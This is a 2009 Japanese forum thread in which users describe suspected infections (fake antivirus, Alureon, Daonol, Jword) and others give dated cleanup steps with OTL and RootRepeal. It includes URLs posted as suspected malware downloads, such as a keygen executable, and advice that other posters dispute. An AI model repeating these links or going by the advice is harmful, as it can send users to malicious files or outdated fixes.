「OTL.txt」がメモ帳で開いて、デスクトップ上にテキストで自動的に保存されています
「OTL.Txt」と「Extra.txt」がメモ帳で開いて、デスクトップ上に2つのテキストで自動的に保存されています

RootRepeal
http://rootrepeal.googlepages.com/
RootRepealの最新バージョン（The latest version）をデスクトップへダウンロード
RootRepeal.rar解凍し、アクティブなプログラムウインドウをすべて閉じて、RootRepeal.exeを実行
下列から「Report」タブを選択、左下の「Scan」ボタンをクリック
「Select Scan」ダイアログが表示されるので、すべてにチェックを入れて > OK
次にScanするドライブを問われるので、「C:\」にチェックを入れて > OK > Scan走査がスタート（*Scan中は「Files」タブです）
ログ抽出走査が終了すると、
「RootRepeal report 月-日-09 (×-×-×).txt」がメモ帳で開いて、C：にテキストで自動的に保存されています

Windowsの自動実行（オートラン）機能を無効にする　した後、一度PC再起動
【スパイウェア対策ソフト】ad-aware spybot 　←　2つとも保護機能をすべて解除してからアンインストールしておいて下さい

つづき
OTLとRootRepealのログを新規フォルダへコピー貼り付け移動して、フォルダを圧縮
圧縮フォルダ名を[ Report ] - Infection log reportとして以下へ提出

■Symantec Security Response 〔Upload a suspected infected file ： 疑わしいファイルの提出〕
https://submit.symantec.com/websubmit/retail.cgi

>>181
うちのカスぺさんも「やばいっすよ」と教えてくれた

友人のバスターは無反応らしい

>>168
ども。　oppai.htmlをaviraに判定依頼送ったら、JS/BrowserCrasher.A.　（新種）って返事が来た。
って、検出名そのまんまかよ。(w

# まだVDFには反映されてません。　なんで、Virustotalは0/41のままです。　Avira一番乗りかな？

>>174
先日の時は、別にウイルスに感染する訳じゃなかったようなので、再起動して問題なければ大丈夫かと。
ただ、こういうブラウザの制御が効かなくなるヤツは、裏で新種マルウェアが組み込まれると厄介だから、お互い気をつけましょう。


ちなみに、googleの方はまだ対応してませんね。　amigo.inのサイトは生きているから、注意お願いします。
（googleは再送してみます。）

フリーソフトを入れるとPC壊れるって書いてるやつがwww
こんなこと本気で思ってんのかこいつwww
それにしても頓珍漢な回答するやつも多いなwww

ttp://oshiete.filesend.to/qa5301829.html

>186
専門家と名乗ってる人ですよね。
フリーソフトがuser.dllだか、kernel32.dllを削除したせいで、OSが壊れてしまった…と。
普通、専門家の方なら誤検出を予測するでしょう。

メールがたくさん送りつけられるウィルスって何なのでしょうか？

2009/10/07 22:35:17
スタートアップ検査
システムメモリに入り込んだ
Win32/Olmarik
トロイの木馬を
駆除できません

くぐっても情報が無いので分かる方
教えを下さい

>>189
これだけ教えてくれるかな

【使用OS】　　　　　 『』　例、Vista sp3　（「システムのプロパティ」参照）
【PCスペック】　　　 『CPU：　GHz 、メモリ：　MB』 　（「システムのプロパティ」参照）
【Microsoft Updateの更新の状態】　『』　例、自動更新設定
【セキュリティソフトと年式】　　　　 『』　例、○○○○ 2009
【その他スパイウェア対策ソフト】　『』

【使用OS】　 『Microsoft Windows XP Home Edition』
【使用ブラウザ】『OperaTor』
【Microsoft Updateの更新の状態】『自動更新設定』
【セキュリティソフトと年式】『ESET NOD32 Antivirus』
【その他スパイウェア対策ソフト】『Spybot - Search & Destroy』
【回線の種類・ルータの有無】『ＡＤＳＬ回線』


CPU名 Intel(R) Pentium(R) M processor 1.60GHz
物理メモリ空き容量 32 MB
ページファイル空き容量 614 MB
仮想メモリ空き容量 1997 MB

【セキュリティソフトと年式】『ESET NOD32 Antivirus』 　→　アンインストールしてNIS2010体験版に入れ替える
【その他スパイウェア対策ソフト】『Spybot - Search & Destroy』 　→　保護機能を解除してからアンインストール

ノートンシリーズの体験版 （*30日間すべての機能を利用できます）
http://www.symantecstore.jp/trial/index.asp
Spybotの代わりに「a-squared Free 4.5」と「Avira AntiVir Personal 8」 を導入する
http://pc11.2ch.net/test/read.cgi/sec/1254665067/8

低スペックにノートンはきついので
Spybotの代わりに「a-squared Free 4.5で検査してきます

有り難う御座いました。

a-squared Free 4.5が一番重いよｗ

>189
リカバリしましょう。

ついでに192は根本的に間違ってますのでしないように。
192は常駐型アンチウイルスの同居を奨めています！

本気で助けたいと思うのなら、既存のセキュリティソフトを消せとか言いませんよ、普通は！

>>◆N9P3SuvBPo
＞システムメモリに入り込んだ　　とあるからね
悪党はリカバリ退避まで見越しているんじゃないの？

http://pc11.2ch.net/test/read.cgi/sec/1254665067/8
それから、ここのはすべて組み合わせてウチで併用確認済みだよ

>>◆N9P3SuvBPo
ttp://i.imagehost.org/0700/WS006856.jpg

★質問用テンプレ★
【使用OS】　「xp sp3」
【Microsoft Update（MU）の状態】　「自動更新」
【使用セキュリティソフトとバージョン】　「norton Internet Security 2010」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「されている」
【スパイウェア対策ソフト】　「スパイボット」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「していない」
【ルータの有無】　「なし」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
『ノートンがHDDの\Windows\temp\_ex08.exeにpacked Genericを検出し遮断してすぐ覚えのないセキュリティソフトが起動したので回線を切って再起動したところ
またそのセキュリティソフトが起動し下のリンクの携帯でとったスクリーンショットのようにウイルスがあるとのこと。
そのソフトが。右下にIE、FireFox、Outlookからパスワードをとるウイルスをみつけた的なことを英語で言う
タスクマネージャで12038418.exeが何かしていると思いよくみたら、HDDのC\Document and setting\all users\Application Data\12038418のフォルダにあり、
上記のよくわからないセキュリティソフトのアイコンでした』
【その他】　　『Yahoo!ニュースでパスワードを持っていくウイルスが活躍中なのをみかけました』
【スクリーンショット】

ttp://i.imagehost.org/view/0733/091008_102555

どうするのがよいでしょうか
スクショのセキュリティソフトは信用していいのでしょうか？

>>198
http://pc11.2ch.net/test/read.cgi/sec/1244633881/l82から183を嫁

>>199ありがとうございます。
シマンテックに提出したところ、

We have analyzed your submission. The following is a report of our
findings for each file you have submitted:

filename: [ Report ] - Infection log report.zip
machine: Machine
result: See the developer notes

filename: 12038418.exe
machine: Machine
result: This file is detected as Suspicious.S.MLApp.

filename: 12038418.cfg
machine: Machine
result: See the developer notes

Customer notes:

Developer notes:
[ Report ] - Infection log report.zip is a container file of type ZIP
12038418.exe reserves one slot in Tier 1 for future malicious behavior category This file is contained by [ Report ] - Infection log report.zip
12038418.cfg Our automation was unable to identify any malicious content in this submission.
The file will be stored for further human analysis This file is contained by [ Report ] - Infection log report.zip

Should you have any questions about your submission, please contact
your regional technical support from the Symantec website and give them
the tracking number in the subject of this message.

とメールがきたのですがこれはどういう意味でしょうか・・・？

英語で帰ってくんのかよ

専門用語とかはいってたらお手上げだよなぁ・・・

>>200
ログと該当exeを提出したの？
LiveUpdateを行い、システムの完全スキャンをしてみるといいよ

【スパイウェア対策ソフト】　「スパイボット」 　←　役立たず

>>203ログはしてないです。最初に自動実行やめて再起動してしまったのでよくわからないけどログはのこってないのかとおもって・・・

他にも感染があったかもしれないからログで診てもらえばよかったのに・・・
Nortonスレのテンプレも読んどいてね

>196
a-squared Free 4.5はともかく
Avira AntiVir Personal 9と併用しても問題ないと。

>>205いまからやってもおそいですか？

>>207
>>198ですよね？
間違い無くウイルスなのでリカバリしたほうが早いですよ。

>>208やっぱりリカバリですか・・・
12038418.exeをスタートアップから外したら見た目は問題なくなったんですけどやっぱりまだなにかあるかもしれないですよね

でも家族で共用のPCなので、自分以外が使ったときに今までと違うことがあったら対処できるのかもしんぱいです。
しかし仕事のファイルも作成したりすることがあるのでリカバリかなぁ・・・・

>>209
なおさらリカバリしなきゃダメです

>>209
もういないかな？
私も海外サイトを見ていたら、>>198と同じソフトが突然起動しはじめました。
ノートンでスキャンを実行すると「W32.Waledac」が検出されて削除。
この偽ソフト自体はセーフモードで削除しました。

偽ソフトの画像で検索すると↓下記の記事を見つけたけど、exeの名前とか微妙に違う。。
http://www.411-spyware.com/remove-securitytool


連休はリカバリするか・・・

>>211
感染の心当たりはありますか？

>>212
海外のブログの広告を間違えてクリックしたら
エラー画面が出てＰＣがゴゴゴーと動きだしました

>>211こちらはノートン2010で完全スキャンかけてもなにもなかったんですけどねぇ
exeファイルのみをスキャンしてみても異常なしでした

いまから購入時の状態に戻します

ちなみに自分は中華サイトみてたら壁紙が灰色になってウイルス発見！って・・・
スタートアップやデスクトップにショートカットまでつくるなんてやるなぁ
信用してたらどうなってたのか怖い怖い

>>213
ありが�d

ってよく読んだら偽のウイルスセキュリティソフトを購入させる気だったんですね

情報持って行くタイプでなかったからまだよかったけど、exe起動させられたからオルタナティブとかも起動させられたりできそうだな・・・

他の掲示板でも質問させてもらったですが、至急回答が欲しいのでこちらでも失礼します。
ウィルスなのかわからないのですが、
深夜2時に自動でPCが起動してしまって、音楽といーっひひとずっと子供の笑い声が響きます。
怖くなってしまい、すぐ電源を落としてしまったのですが、

一体原因は何なのでしょうか

「マルチ」というわけですね。

>>218
はい、申し訳ないですがその通りです。
何かご存じでしたら、教えてもらえないかと思います。

>>217
電源の切れたPCを勝手に立ち上げるマルウェア（ウイルス）は聞いたことがないが...

電源が入るのは、単に、BIOSの設定で Wake on LAN とか Wake on Ring みたいな
Wake on 〜がONになっていて、それが動作しただけの気がする。


音楽と子供の笑い声は、実際どんなモンが再生されたのか不明なんで何とも。
（聞いたことある音楽なのか、心当たりのない音楽なのかで判断違うし）

気になるなら、まずはシマンテック，マカフィー，カスペあたりのオンラインスキャンを
やってみれば良いと思うよん。

>>217
Bad Joke系は何故かAntiVirが強い
Avira AntiVir Personal （無料版）
ttp://www.free-av.com/en/download/download_servers.php
設定ポイント
ttp://i.imagehost.org/0302/WS006858.jpg

【使用OS】　「windowsvista」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「ウィルスバスター2010」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】はい　「」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「はい」
【ルータの有無】　「ADSL回線」
【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「毎日検索しているのですが、
毎回cookie_Doubliclickとcookie_overtureと言うものが検出されます、
削除しましたと出てきますが、検索したらほぼ毎回検出されます、これはウィルスなのでしょうか？
初心者で大変申し訳ないのですが、よろしくお願い致します」

cookie_Doubliclickとcookie_overtureを
グーグル検索すれば解決するんじゃないかな

>>223
ありがとうございます！
お手数おかけしてすみませんでした・・・。

<div style="display:none">iaadaacxfsvljiejsvakfhwmadlrwbo</div>というように
謎の31文字が埋め込まれるiframe型の改竄って、まとめて検出名ついていますか？

あくまでも不正サイトから何をダウンロードするか、であって、
改竄されているページに対しての名称はないみたいですね。。。

パソコンの右クリックが全く出来なくなってしまいました…
たぶんFLASHのゲームやったからなったとおもうんですけど……
インターネットの線は抜いたんですけど共有ルーター使ってるんでとても不安です
フォーマットしたほうがいいでしょうか？

↑左クリックでしたm(__)m
右クリックでメニューは出来ますが開けません…

★質問用テンプレ★
【使用OS】　「」
【Microsoft Update（MU）の状態】　「」
【使用セキュリティソフトとバージョン】　「」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「」
【スパイウェア対策ソフト】　「」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「」
【ルータの有無】　「」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「」

きちんと対策を行ったつもりなのですが、心配なので質問させて下さい。
【os】windows xp
【アップデートの状態】最新
【セキュリティソフト】ウィルスセキュリティゼロ/最新の状態（更新も頻繁に行っています）
【ルータの有無】有

ウィルスセキュリティにてスキャン中、「in the backdoor」と表示され、
怖くなって詳細を確認したところ、ファイル名「jword2.exe」と表示されました。
隔離されたのですが、心配なので削除を行い、
ノートンのオンラインスキャン→ウィルス検出されず
後、ウィルスセキュリティにて再度スキャン→検出されず
というような結果でした。ウィルスは完全に抹消されたと思っていいのでしょうか？
初心者ゆえ拙い文章ですみません。よろしくお願いします。

【使用OS】　「XP」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「最新」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「最新」
【スパイウェア対策ソフト】　「ウィルスバスター2010」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「総合検索は初期状態の一ヶ月に1回程度」
【ルータの有無】ADSL回線　モデムは富士通W4
検索をかけたらサミー777からウィルスが2個出てきた。
結局削除する羽目になったが駆除できなかった
これはサミーに問い合わせたほうがいいのかな

>>230
PC健康診断掲示板　で診てもらえばいいよ
http://pc11.2ch.net/test/read.cgi/sec/1250027233/5

>>231
サミー777について詳しく
連絡は信頼出来る第三者を介したほうがいいかも
http://pc11.2ch.net/test/read.cgi/sec/1250027233/6
*コンピュータウイルスの相談窓口としてコンピュータウイルス110番の電話を設置

>230
jwordというプログラムがインストールされてませんか？
（あの人はただ不安を煽ってるだけなので）

【使用OS】　「vista」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「マカフィー　最新」
【ルータの有無】　「ADSL　たまに無線LAN」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「特になし。」

私はパソコン初心者です。どこに相談したら良いか分からず、こちらに相談させていただきます。
もしスレチなら、ベストな板へ誘導して頂けると助かります。
昨日Eメールを開いたら、見慣れないところから怪しいメールが2件。
1000万円の手続きが完了しました、とか、10月無料手続き完了。200万円の手続きが完了しました。
とか。
1件は私の名前がフルネームで記載されていて、「○○(私の名前)様！」と。
つまり、名前とパソコンの本アドが漏れているということ。
とても怖いです。
それから、最近気になるのは、２ちゃんなどで書き込みしてて、文章打ってる途中で
勝手に変に変換されたり、変なところで区切れて無変換になったり、カーソルが勝手に
飛んで、打ってる途中で文章が変な所に打ち込みささったり。
私は、ネットウィルスにでも感染して、パソコンがおかしくなっているのでは？
ウィルスが原因で、どこかから情報が漏れたりしているのでは？と不安なのですが、
職場の上司に「ハッキングじゃないの？」
と言われ、どのように対応したら良いか、非常に焦っています。
最近ネットで買い物したり、占いや相談サイトへの無料登録などで、パソコンの本アド
を登録することが多かったので、そういうところから漏れているのでしょうか？
特にウィルス検査でも引っ掛からないのですが･･･。
誰かアドバイスいただけると助かります。

>>230です
>>233
はい。necのパソコンなので、買った当初からインストールされておりました。
Jwordは特に使っている機能でもないので、ウィルスを発見した時点でアンインストールしてしまったのですが…。

>>234
OTL.exeとRootRepealをデスクトップ上にダウンロードして、
ネットケーブルを抜いてからPCを一度再起動して、ネット非接続のままでログ抽出してみて

http://oldtimer.geekstogo.com/OTL.exe
OTL.exeをデスクトップへダウンロード
アクティブなプログラムウインドウをすべて閉じて、OTL.exeを実行
左列下部にある「Extra Registry」箇所をUse Safelistにチェックを入れて、
上段にある「Scan All Users」の箇所にチェックを入れてから、左上の「Run Scan」をクリック > ログ抽出走査がスタート
ログ抽出走査が終了すると、
「OTL.Txt」と「Extra.txt」がメモ帳で開いて、デスクトップ上に2つのテキストで自動的に保存されています

RootRepeal
http://rootrepeal.googlepages.com/
RootRepealの最新バージョン（The latest version）をデスクトップへダウンロード
RootRepeal.rar解凍し、アクティブなプログラムウインドウをすべて閉じて、RootRepeal.exeを実行
下列から「Report」タブを選択、左下の「Scan」ボタンをクリック
「Select Scan」ダイアログが表示されるので、すべてにチェックを入れて > OK
次にScanするドライブを問われるので、「C:\」にチェックを入れて > OK > ログ抽出走査がスタート（*Scan中は「Files」タブです）
ログ抽出走査が終了すると、
「RootRepeal report 月-日-09 (×-×-×).txt」がメモ帳で開いて、C：にテキストで自動的に保存されています

パソコン詳しくないので、
初心者のほうへ書き込んだのですが、
アドバイスがもらえそうもないのでこちらへ来ました

タコウィルスにやられました。
リカバリも出来ません。
ハード買い換えるしかないですか？

★質問用テンプレ★
【使用OS】　「」
【Microsoft Update（MU）の状態】　「」
【使用セキュリティソフトとバージョン】　「」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「」
【スパイウェア対策ソフト】　「」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「」
【ルータの有無】　「」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「」

>>236
レスありがとうございます。諸事情で遅くなりましたが、昨晩OTLを実行してみました。
Drive not Present or media not loaded
という表示でした。英語だからよく分からないのですが、これは問題ない、ということでしょうか？

また、もう一つのRootRepealはダウンロードしようとしましたが、私のパソコンの
セキュリティソフトに引っ掛かり、危険とのこと。実行して良いか迷い、まだ実行してませんが、
やはり実行したほうが良いでしょうか？

>>234
【使用OS】　「vista」 ←　32bitですか？64bitですか？
support.microsoft.com
コンピュータで実行されている Windows オペレーティング システムが 32 ビット版か 64 ビット版かを確認する方法
http://support.microsoft.com/kb/827218/ja

マカフィーはOTLとRootRepealを誤検出して使えないみたいなので、次の内どれかを選んで下さい
1,higaitaisaku.comのPCトラブル質問掲示板で診てもらう
2.Norton体験版＋OTL＋RootRepealで駆除する
3.マカフィースレで駆除してもらう

>>240
コントロールパネルで確認したら、32bitでした。

ちなみに、昨日ウィルスバスターのオンラインスキャンも実行してみましたが、
何も検出されませんでした。

1,higaitaisaku.comのPCトラブル質問掲示板
なんてものがあったのですね！そちら覗いてみます。
ありがとうございます。

セーフモードですら立ち上がらず再起動の繰り返しになったらリカバリーしかないですかね？
その場合中のデータは全て無くなってしまうのでしょうか？

通常はそうです

やはりそうですか…。
データ復旧が出来ないのは辛いですね…。店で売ってるような復旧ソフトでも無理ですよね。

>>244
無駄な足掻きだけど、Windows拡張オプションメニューの項目に
"システム障害時の再起動を無効にする"ってのがありますよね。
それを選んで起動すると、たぶん青色の画面になってそこに英語の文字が出てくると思います。
その表示された英語の文字を教えてくれますか？

ああ付属のシステムリカバリーソフトも紛失したようだ…。
どうしようもないな俺。ちょっと混乱して寝れそうもない。
明日復旧、セキュリティソフト買って無理なら諦めます。
なんか自分の一部が死んだようだ。こんなに自分がPCに依存して生きてたなんて。
ホントに馬鹿だった迂闊だった無防備だった。
似たような環境の友達にも忠告しました。何でもない一日がなんでこんな事に…悪夢だ…。

>246
リカバリソフトを紛失してもメーカーから取り寄せるっていう手もありますよ。
有料だけど…。

駄目もとで取り寄せてみようか…。
Winnyやマジコンをやってないのを言い訳にしてお情け程度のセキュリティのノーガードで増長してた報いです。
市民プールで我慢しときゃよかったのに泳げないくせに浮輪一つで海で溺れた馬鹿野郎です。
そろそろ落ちついたんで消えます。ありがとう。

パソコンを起動させたら、デスクトップのショートカットアイコンがほとんどなくなっていました。
またメール（ベッキー）やFFFTPなど各種ソフトの設定がなくなっていました。
ファイルデータは残っていたので、良かったのですが・・・
OSを含めて、すべての設定がなくなっていたり、変更されているという状況です。
これは、ウィルスなのでしょうか？
また元に戻す方法はあるのでしょうか？
ご指導お願いします。

別スレで回答をもらいましたので、質問を取り下げます。
失礼しました。

【使用OS】　「windousXP」
【Microsoft Update（MU）の状態】　「おそらく最新」
【使用セキュリティソフトとバージョン】　「ウィルスセキュリティ」　「おそらく最新」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「おそらく最新」
【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「」 「スキャンできない状態」

パソコンについて詳しくない初心者です。
昨日の夜、この前GENOウィルスにPCサイトが感染された知り合いのサイトの携帯版の方にアクセスした後、しばらくしてからウィルスセキュリティからなにかのプログラムを許可しますか、という表示が三回に渡り出て、全てをブロックするを選択しました。
今までそんな事はなかったので、携帯サイトの方もGENOに感染していたのかと思いredist.exeを立ち上げる等の簡易確かめをした所普通に立ち上がり、GENOではないのかと思いそれでも動作が弱冠重くなった気がしていたので怖くなって電源を切ろうとしました。
そうすると、電源を切るを押してもまったくパソコンが動かず、間違えてキャンセルを押したのかともう一度スタートから電源を切るを押してしまいました。
しかしやはり全く動かず恐ろしくなって電源ボタンを長押しして強制終了させました。

その後、壊れたのかと気になって何回かつけようとしたのですが
セーフモード
セーフモードとネットワーク
セーフモードとコマンドプロテクト

前回正常起動時の構成（正しく動作した最新の設定）
windowsを通常起動する

の選択肢のある画面が出てきて、通常起動と正常起動時の構成を試してみたところ２つとも画面が真っ暗で矢印アイコンが出ているだけの状態になり、こちらも恐ろしくて強制終了させてしまいました。

初書き込みだったので至らぬ所があったかもしれないです。失礼をしてしまったらすいません。
かなり困っています。できれば解答よろしくお願いします。

何をどうしたいのかよく分からないけど、ウィルスが疑われるならリカバリ(クリーンインストール)するのが確実

解答ありがとうございます。
リカバリする場合、パソコンのデータは諦めないといけないでしょうか。
バックアップしたいのですが操作ができずそれもすることができません。

知らぬ間に282114というフォルダがあり、
中に道化師というファイルがあった。
全く心当たりないし、ぐぐってもなにもわからない。
これって大丈夫でしょうか？

http://jisaku-sns.info/modules/pukiwiki/attach/5B5B4F70656E504E45A4C7476F6F676C65A5DEA5C3A5D7A4ACBBC8A4A8A4EBA4E8A4A6C0DFC4EAA4B9A4EB5D5D_3036313031353230333430302E6A7067
こんな↑感じの小さいグーグルのログイン画面が消しても消しても出てくる。
これってウィルスですか？

全国でPCが起動しなくなるトラブルが多発。PC初心者の多い富士通サポセンがパンク状態　
http://tsushima.2ch.net/test/read.cgi/news/1256308562/

電話お問い合わせ窓口の混雑について（お詫び） - AzbyClub サポート : 富士通
http://azby.fmworld.net/support/info/apology/20091022.html?supfrom=top_info

コンピュータウイルス「Torojan.Win32/Daonol.H」について | dynabook.com サポート情報
http://dynabook.com/assistpc/info/20091022.htm

コンピュータウイルス「Win32/Daonol」に関するご注意
http://supportapj.dell.com/support/topics/topic.aspx/jp/shared/support/news/2009/20091022?c=jp&l=ja&s=gen

２日前から決まって夜中３時頃にニコニコ動画をみていたら、
急にモニターに｢キャー｣という音が鳴り、血しぶきが出てきてその血しぶきが広がっていく映像が出てきます。
めちゃくちゃ怖いのですぐに強制終了したのですが、すごく気になります。
タスクマネージャーを調べたり、ウィルススキャンをかけても何もかかりません。

調べたところずいぶん古い現象らしいのですが、それはウィルスの可能性があり、その現象になったら再起動してもＨＤＤがすぐにガリガリいってイカれる。とありました。
ですが、今のところ血しぶき以外なにもパソコンに悪影響は起こっていません。立ち上げも普通にでき、ファイルも特に変わってなく、タスクマネージャーを見ても特に怪しいものはありませんでした。

しかし今日もあの血しぶきがくるのか？と思うとすごく怖くてパソコンをさわりたくなくなります。
どういった対処をすればよいのでしょうか？
ご存知の方が見えましたら教えて下さい。よろしくお願いします。

すみません
>>257の補足ですが、自分はニコニコ動画を見ていたのはあまり関係ないのかな、と考えております。

>>257
とりあえず検索したらこんなウイルス名がでてきたわけですが。
規制中だからあとは自分で調べれ。亜種かもねー
↓
W32.HLLW.Antinny.G

インターネットを見ていると、
なぜかやたらactiveコントロール？の許可を求めるアラートが出ました
特に怪しいサイトは見ていなかったので許可していたのですが、
YouTubeの動画を見ているといきなり画面が真っ暗になり、
スピーカーからは小さなハウリング音が聞こえだして操作不能に
一度電源ボタンで電源を切ってまた入れてみましたが、
ドライブが回りかけるような音だけしてその後なんの変化もありません
そして電源ボタンを長押しすると電源が切れる音はします
他にネット環境がないのでケータイから少し調べてみたのですが、
悪意のあるactiveコントロール？にパソコンを破壊されたのでしょうか？

>>260
怪しいサイトでなくても
正規の広告に悪意のあるソフトウェアが紛れ込んでる時がある。

http://filomediaaidworld.net/Internet.Download.Manager.5.18.Build.3.full.clean.Keygen.45154.exe
これは無害？

>>262
こっちで聞いて
http://find.2ch.net/?STR=%CD%A6%B5%A4%A4%AC&COUNT=10&TYPE=TITLE&BBS=ALL

【使用OS】　Windows XP SP3
【Microsoft Update（MU）の状態】　最新
【使用セキュリティソフトとバージョン】　avast!4
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　はい
【スパイウェア対策ソフト】　Spybot（感染後導入・検査）
【スパイウェア対策ソフトの更新は定期的に行なっているか】　はい
【ルータの有無】　あり
【スキャンの結果何が検出されたか】

ファイル名　C:\WINDOWS\system32\tdlwsp.dll
ウイルス名　Win32:Alureon-DR [Rtk]

先日avastにて以上のマルウェアがルートキットとして発見されました。
その時はチェストに入れたり、削除してみたりしてみたにも関わらず、
常駐保護の、あの怖い効果音と共に出てくる窓が30分おきに現れて困っていました。

そこでSpybotや、SDFixを導入し出てきたマルウェアを駆除し、
Malware byte's Anti-MalwareでAureon系が生成する
　　　HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall・・・
というレジストリが検出され削除したところ、
avastで30分おきだった表示が1時間おき位になるという微妙な効果が。

また、Win32:Alureon-DRがルートキットとavastで判断されていたので、
GMERやRootkit Detectiveなどを使ってみたのですが効果なし。そこで調べてみたところ、

Win32/Alureon (データ盗聴型トロイの木馬。ネットワークを経由するデータの
盗聴をおこないユーザ名やパスワード、クレジットカード番号などの
データの盗みだしを可能にする。また影響下にあるマシンへ悪意のあるデータを
送り込むことを可能にするほか、ステルス機能を潜り込ませるためのrootkitとしても機能する)

とありました。これは要するにルートキットなの？それともトロイの木馬？
どうやって駆除すればいいのですか？

とりあえずavastでブートタイム検査。
正直、再インスコした方が早いと思うけどね。

ttp://megasecuredownload.com/user1576/xforce
プレミアムリンク探してたらこんなのに出会った
exeファイルで怪しさムンムンなんだが、どうだろう

ttp://megasecuredownload.com/user1576/xforce
プレミアムリンク探してたらこんなのに出会った
exeファイルで怪しさムンムンなんだが、どうだろう

>>267
あやしいファイルを実行するスレ 2層目
http://pc11.2ch.net/test/read.cgi/sec/1227543474/

>>266-267
どうもこうも無いよ...思いっきりウイルスですがな。

ttp://www.virustotal.com/jp/analisis/4f724bd668274cf0376a7b2009286f01fd550e8ac2ba4b6bb2b3a8647b37b9b6-1257692481 (10/40)

あんまり検出率良くねーな。新種か？

"The Fourth Kind" この映画の動画関係はウイルス仕込まれてる所があります。

ttp://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1232676582

と、同じ症状なんだけどこれってなに？

質問です。

ネットカフェから利用する場合IPアドレスからどの地域まで特定されるのでしょうか？
IPアドレスからネットカフェの名前まで判断できてしまうんでしょうか？

http://www.aguse.jp/
http://www.ipaddresser.com/
http://www.mse.co.jp/ip_domain/
http://whatismyipaddress.com/
IP調べと言ったら、こんなもんですかね

>>273さん
ありがとうございます！

ウイルスバスターとは別にオフラインでもウイルスソフトとかちあわず
PCのウイルスを除去するフリーソフトなどはありますか？
今ウイルスセキュリティZERO使ってるんですがどうも調子が悪いような気がします

自分で調べろ

【使用OS】　「XPsp3」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「avast4.8 home」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「はい」
【スパイウェア対策ソフト】　「zonealarm」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「はい」
【ルータの有無】　「無線LANのことでしょうか？使っています」

avastでcドライブをはじめ全体をチェックしたところ
\Documents and Settings\****\Local Setting\Temp\plugtmp-4フォルダ内の
plugin-readme.pdfというファイルがJS:Pdfka-SLというのもに感染していました
とりあえずチェストに移しましたが元のファイル自体何なのかよくわかりませんし
このウイルスも危険かどうか判断できず困っています
どのような対応がベストでしょうか？

【使用OS】　「XPsp3」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「kingsoftの最新版」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「はい」
【スパイウェア対策ソフト】　「不明」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「不明」
【ルータの有無】　「有り」

ファイル名　s9h3v.bat
ウイルス名　Win32.hack.NsAnti 105151

他のパソコンで使っていたUSBを別のパソコンにさすと，上記のウイルスを削除したと表示がありました．
このウイルスはどういった悪さをするウイルスなのでしょうか？ググッたところ，出てきませんでした．．
Win32.hack.NsAnti まででググると105151の数字部分が異なるウイルスがたくさん表示されたようです．
詳しい方いらっしゃればご解答お願いします．

【使用OS】　「WindowsXP Home SP2」
【Microsoft Update（MU）の状態】　「SP2で出来る限りは最新」
【使用セキュリティソフトとバージョン】　「ESET SMART SECURITY4」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「常に最新」
【スパイウェア対策ソフト】　「無」
【ルータの有無】　「有」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「ウィルスは未検出」


プロセスにIEを起動してないのにiexplore.exeを発見、場所は「C:\RECYCLER\iexplore.exe」
怪しいとおもって調べてみたらどうやらP2P経由で感染する暴露ウィルスの様子
ですが私はWinnyなどのP2Pソフトはやっていないので感染経路が全く不明、いつから感染してるのかも不明・・・
導入しているセキュリティソフトで検査してみたところ何も検出しませんでしたが、しっかりとレジストリは検索した記事通りに書き換えられていました
今のところPCが重くなる等の症状もなく、自分の情報をネットに暴露している様子もないのだけど
これはウィルスではなくただのゴミファイルか何かなのでしょうか
とりあえず怖いのでexeは削除、レジストリも直しておきましたが、非常に心配なので何でも良いので情報提供お願いします

>>279

ttp://hjdb.higaitaisaku.com/database.cgi?cmd=dp&num=444

>>278
ググルと結構ありますね。

【USBウイルスの捕獲】　[USBメモリに感染するウイルス]
http://royalwin.blog.so-net.ne.jp/2009-07-30

AhnRpta.exe、xvassdf.exeとの闘い。
http://orbit.cocolog-nifty.com/supportdiary/2009/08/ahnrptaexexvass.html

ZIPフォルダの中のウィルスのみを削除できるソフトって
ありますか？

風邪ひいたんだけどどうすればいい？

jword2{1}.cab 気持悪い

【使用OS】　Mac OS X Snow Leopard
【Microsoft Update（MU）の状態】　ソフトウェアアップデートは最新
【使用セキュリティソフトとバージョン】　Norton Intenet Security for Mac 最新
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　Yes
【スパイウェア対策ソフト】　None
【スパイウェア対策ソフトの更新は定期的に行なっているか】　No
【ルータの有無】　Yes

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
検出されず。

　ストーカー(50代無職ｗ)にクラックされてそいつはもう捕まったんだが、
一段落したのでシステムパーティションをフォーマットした後
